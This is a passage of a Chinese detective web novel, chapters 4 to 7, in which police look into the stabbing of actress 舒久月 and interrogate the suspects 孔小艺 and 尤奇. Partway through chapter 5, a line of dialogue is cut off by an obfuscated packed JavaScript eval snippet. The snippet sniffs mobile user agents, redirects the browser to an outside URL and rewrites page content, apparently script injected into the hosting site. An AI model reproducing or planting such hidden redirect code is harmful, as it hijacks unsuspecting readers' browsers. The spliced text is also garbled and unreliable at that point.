舒父和舒母两人年轻时都是永生市著名话剧社的演员，当时话剧社的名声相当好，可谓是红极一时。 舒母在最年轻貌美的时候选择退隐，渲染起了不小的风波，结婚、私生子、被打击报复，各种绯闻传得昏天暗地，传得最凶的就是舒父和舒母的绯闻恋情。但是这条绯闻刚出，二人便立刻站出来说压根儿没有此事，纯属好事之人的胡编乱造。 也不知道是不是为了掩饰这件事，舒母莫名其妙遭遇了一场不小的车祸，直接把她送进了ICU。 后来传言慢慢发酵，逐渐演变成了舒母遭遇车祸，重伤住院，无可奈何之下选择的退隐。 三年之后，她想要复出，声望不用想也知道，肯定大不如前。 他们的恋情时隔六年，才终于爬进观众的视野。 ……但是，已经太迟了。 舒母在车祸下诱发的心脏病，最终还是在舒久月14岁那年夺走了她剩下的人生。 舒久月从那时候起无心学业，前景越来越渺茫。 舒父拿她没有办法，只好把她引荐给一个知名大导演，试图为她开辟出一条新星之路。 没想到舒久月格外上镜，路人缘好到离奇，舒父便放下了心。 后来，舒久月和舒父的关系不好也不坏，僵持在有资格被表扬或被批评之间，一僵持就是十几年。 “给我个地址，我要去拜访一下这位死者家属。”月栀酒随意道。 舒父名叫舒远山，四年前被确诊为肺癌晚期，从去年九月份开始一直住院。 木沐把永生市中医院的位置给月栀酒传过去，而后又附上了什么科室、几层楼、几号VIP单人病房之类的信息。 月栀酒准备离开警局时，张小元刚好赶到。 警局距离案发现场有二十分钟的车程，张小元是骑车回来的，额头上覆盖着一层汗珠，看起来格外朝气蓬勃。 张小元跟月栀酒说了高琴的意思，月栀酒让他去换便衣，二人准备以舒久月朋友的名义去看望舒远山。 刚毕业的年轻警员小张有点不太适应冒名顶替的感觉，月栀酒倒是理直气壮。他跟舒久月早就认识，本来也算是半个朋友，去看望朋友的父亲，这并不理亏。 张小元回答“好”，跑去换衣服了。月栀酒就坐在原位等他。 月栀酒看到木沐在收拾东西，用打趣的口吻问他：“怎么，想跟我一起去？” 木沐摇头晃脑，“不，今天我休假，高队也没有给我安排任务，我要回家睡觉了。” 月栀酒多年运用心理学加玄学的经验告诉他，木沐这是在用夸张的语气掩盖心虚。月栀酒是个不爱多管闲事的邻居，虽然他也很好奇木沐在心虚什么，但是他并不打算开口询问，因为那样未免过于唐突。 张小元很快就换完衣服出来了。 三人一同走出分局，招手再见后，他们分别往各自目标的方向前进…… 4. 奇门凶杀案 木沐打开自己家的房门，客厅里坐着一个十四岁左右的俄罗斯女孩——这个扎着双马尾，长相格外立体好看的小姑娘便是他的室友了。 小姑娘的名字叫威妮娃，她和木沐一样是少年天才，只不过二人擅长的领域不同，木沐是编程上的天才，威妮娃则是物理学上的天才。 木沐经常看到有物理学系的教授来家里拜访她，跟她极其客气的交谈。早在今天以前，威妮娃就已经荣获了十多项高难度的发明专利。 小姑娘摆弄着手头上某个小机器人的零部件，听到木沐关门的声音，眼睛斜看过去。 “看起来脸色不是很好看啊，事情办得还顺利吗？” 她的声音里听不出语气。 木沐把双肩包放在柜子上，叹了口气说：“不好说，差点就露馅了……嗐，似乎已经被他察觉到了什么。” “你露了什么马脚？”女孩继续手上的动作，语气更接近于问他晚上要吃什么。 木沐回忆着，“不知道，我能意识到的部分应该没有，但你也知道他是谁，我没办法确定他有没有看出什么破绽。” 女孩继续问：“至少有一件事情你应该确定吧，他真的不记得你了吗？” “看起来是这样没错……” 威妮娃把小机器人的头安到脖子上，小机器人用俄语说了声“你好”，她又把小机器人的头给拆了下来。 “我早就说过这样是不行的，迟早得暴露。” “别这么武断，还是能瞒多久瞒多久吧。” 威妮娃终于暂停手上精细的工作，正眼看着木沐。 她比亚洲人更长的睫毛像是粘在她的大眼睛上，随着她的声音忽闪忽闪，“你别忘了，那个人说过，她一定会亲自来拆穿这件事情的，跟她唱反调可不会有什么好结果。” “只要她没有明确禁止，我一向都喜欢假装没有听见。不管怎么说，那都是他们的恩怨，与我们无关的……”木沐把笔记本电脑打开，“不过我刚刚在局里突然想起来一件事，你说他会不会没有处理眼罩？” 威妮娃拆开小机器人的脑袋，拿起镊子调整里面的芯片，“没有就没有嘛，难道你真的希望他忘记一切啊？” “我还是那句话，能拖多久拖多久吧。我觉得他这样挺开心的。” “随便你。”威妮娃走进房间拿了一个黑色的长方形机器盒子，“1401是电子门锁，拿这个碰一下就开了。” 木沐接过小盒子，转着翻看了两下说：“我自己也能开。” “还我。”威妮娃冲他伸手。 木沐嘻嘻笑两声，“还是现成的方便，黑科技方面你最厉害了。” 一层楼就三户，木沐和威妮娃住的是1403，月栀酒就住在他们正对面的1401。 木沐用威妮娃的黑科技打开了1401的房门，小心翼翼地脱了鞋，赤脚猫进去。 月栀酒家里的布置是简约风，但是木沐看得出来每样家具都很贵。白地板被擦得锃亮，月栀酒昨天晚上打开的半瓶红酒还放在桌子上，一切就像是早都准备好了，专程等着跟他过来拜访一样。 木沐潜进卧室，从衣柜里翻出一个绣着新中式花纹的深蓝色眼罩。 这个眼罩丝滑的布料里，隐隐能摸到两块眼睛大小的金属薄板。 没错，就是它了。 木沐把眼罩揣进口袋，像小偷一样环顾四周，蹑手蹑脚地溜回家了。 —————— 另一边。 高琴和李晓音正在忙着分析三个嫌疑人的犯案动机。 死者舒久月昨天下午4点24分最后一次回到家，送她回来的是她的临时助理孔小艺，也就是第一个嫌疑人。 孔小艺在舒久月家里停留了大概15分钟。 第二个嫌疑人是傍晚七点半来找舒久月的新晋小导演，据说和舒久月传过很多年的绯闻，至今都没能洗清，此人8点21分离开舒久月的住所。 第三个嫌疑人是跟舒久月有多年交情的知名作家兼编剧，比舒久月大了十岁不止，二人没有传过绯闻。此人8点41分进入舒久月家中，9点31分离开。 再来就轮到今天上午11点半前来敲门的月栀酒了。 预估死亡时间内，监控显示没有一个人进入过案发现场。 高琴犯了难，木沐跟他说过监控的内容绝对没有被替换过，舒久月的家在21楼，也不可能从窗外进入杀人。为了保险起见，高琴还让木沐确定过这一可能性。 死亡时间确定，唯一出入口确定，死亡方式确定——死者就是舒久月，她就是胸口中了四刀而身亡。 后来，他们又排除了提前有人藏进去，以及舒久月家里有密道的猜测。 现在，就只剩下一种可能性了——这三个嫌疑人，或者无论是谁，凶手制造了某种机关，使凶刀在半夜十一点到凌晨中一点这段时间刺死了舒久月。 “啧，也没发现有什么机关呀……” 高琴沿着凶刀袭击被害人的方向找了又找，死活就是找不到有设置过机关的痕迹。 李晓音问：“高队，嫌疑人都快到了，小张他们审着，我们要不要赶紧回去？” 高琴想了想，反正现在也找不到什么有力的线索，还不如去会会几个嫌疑人。 “也好，你和那个手上拿着资料的那个谁跟我上一辆车，回去的路上再跟我讲一下这三个嫌疑人跟死者之间有没有更深层次的关系。” 恰逢此时，木沐给他发来了信息： 【头儿，酒哥加盟了，你交给我的任务完美达成！】 【他去找死者老爹，我还有事，就先回家了，拜～】 ………… 路上，李晓音和过段时间就准备离职的程序员交换着资料，高琴专心开车，竖着耳朵听着他们念资料上的内容。 舒久月十五岁的时候签约了国内数一数二的老牌娱乐公司“群星MN”，她现在的助理孔小艺则是在一腔热血之下盲目签约了舒久月父亲名下的“月圆娱乐公司”。 孔小艺比舒久月还要年长两岁。 她18岁的时候正式出道，进入观众的视线。同一时间段，舒久月已经在国内演艺圈有了一席之地。 她们两个本来可以相安无事，可是不知不觉间，孔小艺的发展前景越来越向舒久月靠近，一度被很多人当成舒久月的代餐，是一匹起步速度不输舒久月的黑马。 舒稳山意识到了这点，一心为了帮助女儿扫清障碍，让公司趁孔小艺彻底冒出头之前把她雪藏了。 孔小艺签了五年的合约。她父母的工作只堪堪够维持温饱，她自己也还没有赚到什么钱，自然付不起违约金——舒稳山就是看中了她这一点，说如果她接受调剂，公司可以时不时给她安排一些边缘小角色，混个温饱不成问题，否则他有的是办法让她这几年都找不到工作，叫她面临生存危机。孔小艺没有拒绝的筹码，不得不答应下来。 她就这样干耗了五年，终于成功和“月圆娱乐”解约。 那时候，舒久月已经跻身顶流，常常在一线活动。 孔小艺解约后，她也并没有放弃演艺之路。说来也是运气好，她进入“月圆娱乐”的对头公司，低开高走，很快就再次出现在大众的视野里。 但是就在她以为自己的梦想终于要达成时，一盆带着冰渣的凉水彻底浇灭了孔小艺心中的火苗。 孔小艺饰演的一个角色曾经在某部剧里伤害过饰演的女主角的舒久月，她因此被舒久月的粉丝小题大做网暴到差点自杀，那些狂热粉丝又是寄刀片，又是造黄谣，甚至还绑架未 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她一直在坚持不懈地尝试有没有出头之日。 但是越尝试，就越能感受到命运的残酷与不仁。 半梦半醒之间，花儿一样的姑娘就蹉跎到了28岁。虽然这个年纪也很年轻，但是和更年轻的时候不一样了，因为对待生命的心态不一样了。 孔小艺这几年有好几次恍惚间以为时间被暂停了，可照镜子的时候，脸上的皮肤的变化却用最狠辣的巴掌打醒她。 电视里舒久月的脸和十年前没什么变化，可她的脸就快要被时间给拉扯松了。她不敢想象曾经光芒万丈站在舞台上的明星变成黄脸婆的样子，无数次拿了刀想自己刺瞎，可都下不去手。 浑浑噩噩的日子比翻书还快，就在她彻底丧失掉希望与梦想的时候，活着的动力也渐渐消散了。 那天，她正在透支自己余生的勇气，准备从27层的高楼一跃而下…… 电话突然响起！ 铃声打断了她准备已久的勇气，她没有想到自杀的进度条从99％跌落回0％竟然如此的容易。 她本来以为无论谁跟她说什么，她都不会回心转意，可手还是不自觉地伸进裤子右侧的口袋里，把手机拿了出来，眼睛也不受控制地看过去。 ——是舒久月的来电。 舒久月说自己的经纪人怀孕了，她知道孔小艺最近手头比较紧，问她愿不愿意成为自己的助理…… 从那天之后，舒久月就理所应当的用一个很平常的态度和价钱让孔小艺成为了她的临时助理。 在这接近一年的时间里，舒久月也没有对她太过苛刻，彼此扮演好老板和员工的角色，孔小艺在此期间也逐渐有了一些存款。可是在舒久月的经纪人回去之后，孔小艺的工资减半，她成为了经纪人的助手。虽然经纪人助手的工资也能够让她活下去，但名声又再一次不好听了。 两个月前，经纪人又有了二胎，孔小艺的过山车这才再次爬上了坡。 ………… “这么说起来，孔小艺的杀机应该不大呀。”高琴一边说话，一边转动方向盘，警车行驶进一个弯道。 李晓音和程序员坐在后排，她说：“也不小了，毕竟在孔小艺看来，她之所以悲惨到想去跳楼，全都是拜舒久月所赐的嘛。而且高队你不觉得吗？孔小艺这一生就像是专门为了衬托舒久月有多辉煌似的，每次都刚好跟她杠上。孔小艺完全可以理解为舒久月把给她毁了，最后的收留也是进一步的侮辱呀。” 高琴快踏入知命之年，对年轻人有一道不可忽视的代沟，他自知不了解孔小艺这样身份和经历过来的人，所以也就没有发表意见。 “另外两个呢？” 5. 奇门凶杀案 第二个嫌疑人叫尤奇，他今年28岁，毕业于永生大学戏剧影视导演专业，是的研究生学历。 他的家庭小康不复杂，父母都在国企工作，舅舅是永生大学社交媒体管理专业的教授，有不少影视圈的人脉。 尤奇目前为止导演过十一部不同类型的影视作品，其中包括电影、电视剧、网剧等，成效都还算不错，他勉强算是近几年来前景最好的年轻一辈小导演。 他23岁导演的第一部作品因为有舒久月的参演而小火了一把，舒久月所在的群星MN公司与他达成共谋，开始大肆宣传他和舒久月的绯闻，并在一年内迅速推出了三部尤奇主导，舒久月饰演女主角的电影和电视剧。 在绯闻的加持下，尤奇和舒久月顿时名声大噪。在长达五年的时间里，舒久月和尤奇一直保持着半公开恋人的关系。大家都知道半遮半露、半隐半现比完全展露更加诱人——他们之间的恋爱关系便是如此。 在岁月的沉淀里，他们的行为举止越来越像一对真正的情侣。不管是借假修真还是假戏真做都不重要了，反正他们自己本来就是最不能说明的人。即便心里能算清楚情感和利益等量关系，也决不能公之于众。 他们二人不明不白的暧昧关系持续到一个月前。 在520当天的早上5点20分，尤奇在微博账号里几乎明示地向舒久月求婚。 而在两个小时之后，舒久月工作室的账号上则是发出了一段轰动娱乐圈的消息——【我与尤奇导演之间没有任何除合作关系之外的关系。】 这段明摆着否认亲密关系的公告，在他们的粉丝眼里就是舒久月单方面宣布分手的判决书。 距离舒久月的微博发送出去不到十分钟的时间，二人时隔五年终于分手的消息冲上热搜头部。 可是忙着看热闹的群众们都忘了，他们二人从始至终都未曾官宣过情侣关系。 …… 尤奇的脸被打肿了，酒红色的巴掌印一个接一个盖在上面。他删除了求婚的微博，说是自己孟浪，没有询问过女方的想法，闹了个笑话，还望大家见谅。 他本来以为这条尴尬的告白只会在热搜的王座上坐几天就会被赶下来。 可他万万不会想到的是，这次被赶下王座的却是他。 因为尤奇对舒久月情感暗示的数量远远大于舒久月对他的情感暗示（后者更像是任务），所以舆论压力一边倒，都说是尤奇骚扰舒久月不成，想用人民的力量逼迫舒久月就范，结果对方不肯妥协，直接拆穿了他。 法国著名社会心理学家、群体心理学创始人古斯塔夫·勒庞曾在《乌合之众》一书中提起过—— 【群体不擅推论，却善于行动。】 【群体的力量是纯粹的破坏力。】 【我们没有必要考虑那些组成群体的个人无足轻重的智力，因为在他们进入群体的第一天开始，不管是博学的人还是白痴都一样失去了观察能力。】 【群体的思维是从想象开始的。】 ………… 网友的指责比蝗虫过境来得更加可怕，尤奇首先是被一波前所未有的红黑热度卷到浪尖，继而那道浪花便袭向他的面门，直直将他拍入海底。 人们为了坚持想象中的正义，拼命往海里扔石子，与精卫填海和愚公移山一样，坚持不懈、至死方休地扔，试图将他封存进海里。 尤奇的事业和他的人一样跌落谷底，各方面的资源都抛弃了他，就连原本被看好的新剧筹划也变成了竹篮打水的空想工程。 资方向来如此。他们有钱，是因为他们会审时度势。 谁也不希望看到自家的股票大跌。 接住一个高速下落的人对他们来说毫无益处。 大家都是成年人，他们心里明白，在金钱的游戏里，仁慈就是最大的取死之道。如果能通过踩死一个人让他们的利益翻倍，那他们一定非常乐意上前补上几脚。 …… 综上所述，尤奇昨天晚上去找舒久月，多半就是为了这件事情讨要一个说法。 “不过我有一个问题……”高琴说，“就算舒久月想对尤奇丢掉饭碗的事做出一些补偿，但她在娱乐圈这种靠情商吃饭的地方混，不可能不知道尤奇现在对她的恨意有多深。尤奇现在已经快到家破人亡的地步了，什么事情都能做得出来，舒久月真的会大胆到直接跟这种亡命之徒见面谈判吗？” 李晓音想了想，“如果舒久月是想挽救一下的话，不管怎么说，他们也谈恋爱谈了这么多年，舒久月觉得尤奇不会对她动手也可以理解。” “会吗……” 李晓音又说：“高队，其实关于这一点，我们可以去问第三个嫌疑人。如果他与舒久月见面的时候，舒久月的情绪状态有明显的不对劲，那么尤奇折返现场杀人的可能性就会大幅度增加。” “嗯，继续吧。” 第三个嫌疑人叫冯二马，他是一个名声非常响亮的小说作家兼编剧。 冯二马的父亲是高官，父母是世家大族的联姻的产物，他的身份相当尊贵。 他今年45岁，和舒久月认识了十多年，据说当年舒久月能和群星MN签约，还是多亏了他的引荐。 有传言说冯二马想以舒久月为原型写一篇女演员的成长故事，这次去找舒久月应该就是为了写书搜集素材。 “……没了？” 高琴本以为冯二马是最后一个明确见到死者的嫌疑人，应该会是个重头戏，没曾想却结束得如此突兀。 “没了呀。”李晓音看着资料说：“冯二马和舒久月这么多年都没有出现过矛盾，而且他从出生到今年的履历都没有什么大问题，还挺干净的。” 高琴了解李晓音的工作态度，她向来都是仔细且不需要别人操心的性格。 “一个活了四十几年的人，还在这种不简单的圈子里面混，你能告诉我他没有什么问题……那么，想必这个冯二马是个比餐巾纸还干净的家伙了？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357023|152770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 远远已经能看到警局的屋顶，过两个红绿灯再拐个弯就可以到了。 “还有什么杀人动机很明显的嫌疑人吗？” “有啊，当然有。”李晓音仿佛一直在等高琴问出这个问题一样答道。 上车之后，木沐给李晓音甩过来一张长长的嫌疑人名单，李晓音粗略估算了一下，时间动机都有的嫌疑人至少有数十个。 “不管是给舒久月寄过棺材的黑粉，还是因为舒久月而丢掉资源的明星，或者是因为她的原因导致股票波动而倾家荡产的人……总之人数太多了，单单是案发时间没有不正常证明，又对舒久月抱有极大恨意的人就有好几十个。” 高琴叹了一口气，“是这样啊……那如果凶手不是那三个人其中一个的话，我们的工作量就有点大了……” “就是说啊。”李晓音附和道，“社会知名人士的案子向来都是很复杂的。” ………… 下车之后，高琴吩咐李晓音：“让木沐查一下所有嫌疑人当中，有没有人在24小时之内接近过舒久月的。” “好。” “然后再让他查查有没有嫌疑人学过编程，或者哪些人有机会可以雇佣到黑客。” “明白。” “这个任务的工程量有点大，让他加个班，尽量今天之内给我答复。” 这次李晓音在确定高琴已经说完话之后才回他：“好，我知道了，这就跟他联系。” 李晓音打电话给木沐发布任务，高琴开启了跟三个重大嫌疑人的谈话。 第一个就是未来被舒久月间接撕碎的明星助理孔小艺。 —————— “我就是要跟他交代吗？”孔小艺翘着二郎腿问在审讯室里警员，“警察还搞迟到啊？” 警员说：“这位是永生市第二刑侦支队队长高琴。” “知道了，就是要跟他说我那天的行程对吧？”孔小艺的语气听起来怨气很重，其中不乏讽刺的意味，“舒久月那个白莲花活着的时候，那些人就因为她轻飘飘的一句话把我喷上热搜，现在她遭报应死了，［舒久月收留孔小艺，却上演农夫与蛇的故事，惨遭杀害］的标题居然火到比大规模自然灾害的热度还高……呵，这么说来，我现在也算是能舒久月和尤奇这种一线红人站在同一话题巅峰的人了？” 警员把审讯室的门关上。 高琴这时才发现，孔小艺的身材比例非常优越，样貌也不会比舒久月差太多，如果把这两个漂亮的芭比娃娃画上全妆摆在一起，所有人都会犹豫到底要买哪个。 他的思绪刚探出头，高琴就斥责自己，怎么可以产生这种想法？把人类和商品做类比，这本身就是新时代人群思想进化大忌。 高琴对孔小艺说：“孔女士，我们想了解一下你和舒久月的……” 孔小艺打断了他，“不用劳警官先生一个接一个的问题单独问了，我这就把我知道的前因后果全部告诉你们。” 6. 奇门凶杀案 “我确实有杀害舒久月的动机，很多年前也有过这样的想法，但她真不是我杀的…… “昨天晚上，我一整晚都在madness会所参加群星MN公司每个月都会固定举办的活动。那里全都是熟面孔，一整晚都有很多双眼睛轮流盯我，你们也知道那些像兽一样的眼神往往比他们本身的视力要高得多，我是没有办法说谎的，因为这太蠢了。” 高琴招呼助手去查证，孔小艺继续说。 “说白了，我的动机其实不足以支撑我杀害舒久月。” 高琴否认了孔小艺的自辩，“你已经因为她而差点跳楼了不是吗？” 孔小艺垂下眼眸叹了口气，用认命一样的语气说：“没错，我差点跳楼是真的，恨舒久月也是真的……” 她抬起眼睛看向高琴，语气很是坚毅，“可如果我真的恨她恨到想杀她以绝后快的地步，我是绝对不没有可能跑去跳楼的。” 李晓音这时给木沐打完了电话，悄声钻进审讯室里配合高琴。 高琴没有看李晓音，眼睛盯着孔小艺问：“怎么说？” 孔小艺把翘着二郎腿的脚放下来，“我本来也想怪舒久月来着，可是逻辑不成立。 “我在高中辍学之前，一直都是班上的尖子生。我一直很在乎数学上和道德上的逻辑关系——因为我犯了一股子轴劲儿，又因为我被一家还不错的演艺公司的经理看上，所以我辍学闯荡演艺圈——逻辑成立。 “我妈妈是一个非常开明的人。虽然天底下的每一个家长都不会允许孩子放弃高考去闯荡一个未知的前路，但是当时她也并没有阻止我，只是笑着对我说：我不会干预你的决定，但是你要清楚，如果你今天真的踏出了这一步，那么你今后有可能会出名，有可能会默默无闻，甚至有可能会身败名裂……我这句话没有别的意思，因为无论你选的是哪条路，最后的选项其实都差不多。 “你现在考虑这些问题也不算太早，我想告诉你的是，你未来可能会后悔，也有极大的可能面对你根本无法扛起的困难。无论你是直面问题也好，撤退也罢，这些都没有问题。做决定之前当然要三思而后行，可是世界上有太多的人三思过后也还是后悔了，我就是其中之一。所以我不支持也不反对，你需要什么帮助可以跟我说，我会尽量满足，但是我不想左右你的意见。你快满十八岁了，有自己的主见是好事，否则今后无法生存。去吧，人生本就是一个体验到过程，喜怒哀乐、悲欢离合，你一个都逃不过。如果你想家了，我会一直在这里等你……” 对于孔小艺莫名其妙的抒情演讲，高琴完全不感兴趣，他现在只关心案件的进展。 孔小艺似乎发现了这一点。 “高警官，我知道你们对我说的话不感兴趣，我眼下也没有这么多闲情逸致向你们诉说我的家庭，以及我自己对于人生经历的感悟。我方才说的一切都与你们想要调查的案子有关。 “说真的，我们都应该感谢我的妈妈，要不是因为她，舒久月早在十年前就已经被我杀死了。但是既然我和舒久月都活到了今年，那就说明我想杀她的这个想法，充其量也只是一个想法而已。 “事已至此，我要怪也只会怪自己生不逢时，没有学好投胎的艺术，刚好就遇上了这个除了学习之外，每个加分项都比我略好一点的舒久月。 “实际上，我也知道我没有背景、没有助力，一路上百分之百会遇到像舒久月这样的对手。我刚刚也说过的吧，我会动手杀舒久月的动机不成立。看似我是因为舒久月才会沦落到这步田地，我理所当然恨她，但我遇到白富美的对手是必然现象，如果我有杀人的打算，那么我的目标也不会仅仅是舒久月一个人，而是娱乐圈里所有条件比我好的艺人。 “虽然这个想法有些过激，但是这样的逻辑关系，比我因为个人仇恨怨而意图杀害舒久月的逻辑关系更容易成立，不是吗？” 高琴一直听完了孔小艺说的话，摸着下巴思索起来。 李晓音抬头看了眼高琴，不能确定他信了多少，也没有办法在这里询问，只得继续低头做记录。 高琴问：“你最后一次见到舒久月的时候，她有什么怪异之处吗？” 孔小艺摸着左手手腕上的首饰，回忆道：“她从520的那件事之后，好像一直都很奇怪。” 高琴没那么容易被孔小艺打哈哈搪塞过去，一步步追问下去，“具体是哪里奇怪？” “说不上来……嗯，就是心里藏着事儿吧，要说是感情受伤也不是不可以……总之脾气变差了，记忆力也不怎么好，老是问我她把东西放到哪里去了……这个人真是奇怪，她放的东西我怎么会知道？” 高琴看了眼手表上的时间。 已经超过十二点了。 审问到现在为止都还是迷雾团团。 警员进来说孔小艺在案发时间内确实都身在madness会所参加活动，但是她有十五分钟的时间一个人在厕所里。 madness会所位于一楼的东南厕所外面刚好是监控死角，厕所的窗户也勉强能够让一个成年女性钻出去，像孔小艺这样身材偏瘦的女人更是通行无阻。孔小艺完全可以从厕所出去杀完人再回去继续参加活动…… “绝无这种可能。”孔小艺打断了警员的话，“这位警察同志，你肯定不知道madness会所离舒久月的家有多远。答案是至少五公里，路上还有四个红绿灯。就算我飙车，运气好到全是绿灯，也只能勉强够个往返，没有多余的时间杀人了。” “我们只是在排查犯案的可能性。”那个警员说。 孔小艺从容不迫地接下去，“可能性为0。” 高琴审问过很多人，能像孔小艺这样理智分析情况的人很少，大多数人甚至都没有办法完全想起来前一天干过的所有事情，还需要他提醒才能记起来。 “昨天晚上很多灌我酒，我喝得很醉，跑到厕所里面吐了一刻钟才缓过神来。就算按照你们的推断，我那一刻钟翻出厕所窗户准备图谋不轨，我甚至都没有办法顺利到达舒久月家的门口。” “为什么？”那个警员又问。 “因为唯一能在十五分钟之内赶到舒久月家的那条路上，经常都会站着查酒驾的交警。我醉成那种样子，就算可以弄到一辆车，成功开车不出车祸，也一定会被交警扣下。更何况我没有车，借车打车的记录都可以被查到，就算是那种招手即停的出租车，只要花点时间，你们也总会在路上找到我的身影。高队长，根据你对我的了解，我至于做出这么蠢的事吗？” 高琴面色平平地回：“我对你没有了解。” 孔小艺并不恼羞成怒，捋了一把耳畔的长发，继续分析自己犯案的可能性。 “当然，我不知道那天是否真的有查酒驾的交警，因为我没有去过那个路口。退一万步说，就算我真的厉害到可以凭空出现在舒久月的家里…… 孔小艺左手指了指最开始审问她的警员。 “我刚刚问过看着我的这位警察同志，舒久月是胸口中了不止一刀死的，她家里还经历过大扫除。 “可以杀死人的袭击肯定伤及了大动脉，凶手行凶不止一刀，也就是说，凶手将刀拔出来的时候，血迹一定会喷溅到凶手的身上。我还得把衣服换下来洗个澡再走。假设我这十五分钟都留在舒久月的家里为杀人工作善后，你们觉得我能在如此短暂的时间内，做完这一系列浩大的工程吗？所以我说我杀人的可能性为0，不过分吧？” 高琴点了点头。 他自然不可能跟嫌疑人辩论与他人合伙犯案、雇佣关系犯案，以及伪造不在场证明犯案等可能性。 孔小艺确实像杀完人后会大扫除之后再离开的人物，但是她的动机不符合激情犯案这一特点，而且犯案时间也确实不够，杀人能否成功的不确定性很大。在她和高琴交谈的这一段时间里，高琴看得出她不像是那种有胆子用有较大不确定性方案的人。 高队长的判断结果如下。 孔小艺的杀人动机仍旧明显，但是犯案时间不足，犯案可能性低。就算是孔小艺与他人合谋杀害的舒久月，直接凶手也不会是她本人。 但是高琴意识到孔小艺说话时常带有反问句，这就说明她带有有一种试图反客为主的不屈脾性。 这样的人，还经历过常人无法接受的磨难，不知道她的心境会不会变得偏执起来。 “好，我大概明白了……”高琴想了一下还有没有问题要问孔小艺，发现 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“我不认为她身边有这样的人。”孔小艺几乎想都没想就回答了出来，“她跟她多年以来的经纪人交谈时，都是很规规矩矩的状态，连朋友都算不上，更别提关系要好了。别看他爹对她还不错，其实她跟她爹的相处模式也只能说是认识，他们说话甚至会用上‘你好’‘请’这一等类的词语，一点亲近的感觉都没有……这要是放在520之前，尤奇还能勉强算是一个，但是现在看来，是我弄错了。据我所知，到现在为止，和舒久月的关系勉强能称得上不错的，就只剩一个人了——她的忘年交——冯二马。 “他们认识了蛮多年的，不要说关系有多亲密，至少他们两个人相处的时候，舒久月会表现出自在的样子……不过你们也知道我跟舒久月的关系肯定算不上好，她要是有什么至交好友的话，大概率也不会展现在我面前。毕竟就单算我当助理的这几年，在她的调整休息时间里，我从未和她见过面。” 高琴看她的样子也有点累，可能她后面还有事情要做，朝高琴手表的方向看了好几次，但最终也没有下定决心问他时间。 “最后一个问题——在你眼里，舒久月是一个什么样的人？” “啊？”孔小艺先是是没有反应过来，愣住了片刻，然后像是被气笑了一样说：“这位警察先生，您的这个问题很巧妙啊……在所有人里，我应该是最没有资格给舒久月下定义的人之一，你居然会问我这种问题？” 高琴正色又问了一遍：“没错，我就是想问你，舒久月在你心里是一个怎样的人，请你回答。” 孔小艺似乎从来没有思考过这个问题，或者说从来没有思考过这个问题在外人面前的答案模板。 她想了好半天才回答上来。 “……不是坏人吧。” “还有吗？怎么说都行，不用顾虑，这跟你的嫌疑没有关系。” 孔小艺意识到，高琴一定认为这个答案是自己为了糊弄他而现编的，有些无奈。 “我说她不是坏人，这并不是在搪塞你。虽然我私底下经常诅咒她下地狱，但是我其实挺想看她活下去的。” 高琴本来已经准备收拾东西了，听到她的话，又抬起视线。 “这句话可有点矛盾，不知道原因是……” “她人不错，虽然算不上热情，但是半点都不刻薄。”孔小艺一边说着，话语里似乎还有些遗憾的味道，“舒久月是那种只愿意精进自己，不愿意去抵踩别人的人。怎么说我也败给过她，如果她真的能站到世界的舞台上，我这个输家也不算输得太难看。” 高琴略微有一点意外。 前一秒钟还恨不得对方去死的人，下一秒钟就希望对方熠熠生辉…… 可是舒久月已经死了，现在想这些都是无用功。 高琴不知道孔小艺是不是为了降低自己的嫌疑而故意这么说的，当年的孔小艺可是被誉为年轻一代演技派的演员，高琴的判断还需更加谨慎。 他象征性地压低了声音，对李晓音说：“这个结束了，下一个”，然后走出这间审讯室。 李晓音也赶紧收拾好了东西追出去。 …… “高队，下一个是尤奇还是冯二马？” 高琴从烟盒里抽出一根烟点燃，“他们都到了吗？” 李晓音看着手机上的消息，“尤奇早就已经到了，冯二马家在郊区，还有一个小时才能到。” “那还有什么好说的？我们没有时间等人了，赶快吧。” “哦。” 李晓音点头，和高琴一起进去了尤奇的审讯室。 7. 奇门凶杀案 高琴首次见到尤奇时，他正在蓬头垢面地啃面包，面包屑掉了满身满地，他也毫不在意。 尤奇的眼白非常混浊，活脱脱像一个被社会击垮的中年流浪汉。 …… “我说过很多遍了，我不会杀她！”尤奇用沙哑的喉咙嘶吼着，“我爱她！我爱舒久月！” 高琴抬手，隔空示意尤奇冷静。 “你先冷静一下，有话慢慢说。” 李晓音帮高琴拉开凳子，又拉开自己的凳子坐进去。 尤奇的声音里带上了被极力压制住的哭腔，“警察同志，我真的爱久月，我真的爱她……她、她跟我说好了，我们是真心相爱的……是，我求婚是没有征求她的意见，可是她说过她愿意跟我在一起的，没想到、没想到她拒绝我拒绝得这么干脆……久月……久月……” 距离520事件还没过去几天，可是尤奇的状况已经肉眼可见的非常差了。 他胡子拉碴，越说越激动，嘴巴里喷出面包屑，右手把剩下的面包给捏成了一条面疙瘩。 高琴拉回来话题，“你这样我们没有办法好好交流，你先调整一下情绪，然后告诉我你昨天晚上的行程、找死者的目的，以及你跟死者见面后都说了些什么。” 尤奇深吸了两口气，随手把手上的面包扔到地上，揉着脑袋说：“好、好，我从头跟你们讲。” 面对尤奇的态度，高琴早已见怪不怪了。 他见过太多和尤奇有类似经历的人，大多数被案件波及到的受害人要想鼓起勇气活下去都已经很不容易了，能像孔小艺那样平静地跟警方交谈的人才是凤毛麟角。 “我昨天晚上的行程，啊，不对，应该是说我昨天一整天的行程……我昨天一整天都窝在家里面喝酒，顺便白日做梦地想以后要怎么办。我好像也不方便去死，因为这样子在观众看起来就好像是我畏罪自杀。由于我从始至终都没有强迫过久月，所以我不想顶着‘有罪’的头衔去死。 “昨天，久月给我打过电话……大概昨天中午的时候吧，我喝得有点多，记不得具体时间了，你们可以去查通话记录。” 尤奇抱着头，声音颤抖起来，像个小孩子受委屈时的表情，又像是沙漠里风干了多年的雕像，纵使是想哭，也没有眼泪可以流下。 